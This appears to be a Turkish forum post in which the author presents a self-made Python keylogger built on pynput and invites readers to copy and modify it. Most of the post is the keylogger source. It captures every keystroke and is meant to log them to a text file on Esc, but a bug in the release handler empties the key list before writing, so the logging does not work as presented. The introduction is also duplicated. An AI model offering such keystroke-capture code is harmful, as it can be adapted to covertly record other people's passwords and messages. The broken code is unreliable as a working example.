Merhaba değerli insan ,
Bugün sizlere yaptığım keylogger'ı göstereceğim. İsteyen kodu kopyalayıp düzenleyebilir kendisine göre. Neyse, keylogger'a geçelim.
IDE'ye gelip verdiğim kodu yapıştıralım.
Bugün sizlere yaptığım keylogger'ı göstereceğim. İsteyen kodu kopyalayıp düzenleyebilir kendisine göre. Neyse, keylogger'a geçelim.
IDE'ye gelip verdiğim kodu yapıştıralım.
Python:
from pynput.keyboard import Key, Listener
import os
count = 0
keys = []
# Programın çalıştığı dizini al
working_dir = os.path.dirname(os.path.abspath(__file__))
log_file = os.path.join(working_dir, "log.txt")
def on_press(key):
global count, keys
count += 1
keys.append(key)
print("Tuş basıldı: {0}".format(key))
def write_file(keys):
with open(log_file, "a") as file:
for key in keys:
k = str(key).replace("'", "")
if k == 'Key.space':
file.write('\n')
elif k == 'Key.enter':
file.write('[ENTER]\n')
else:
file.write(k + ' ')
print("Dosya yazma tamamlandı.")
def on_release(key):
if key == Key.esc:
print("Program sonlandırılıyor...")
print("Dosyaya yazılıyor...")
count = 0
keys = []
write_file(keys)
return False
print("Program başlatıldı...")
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()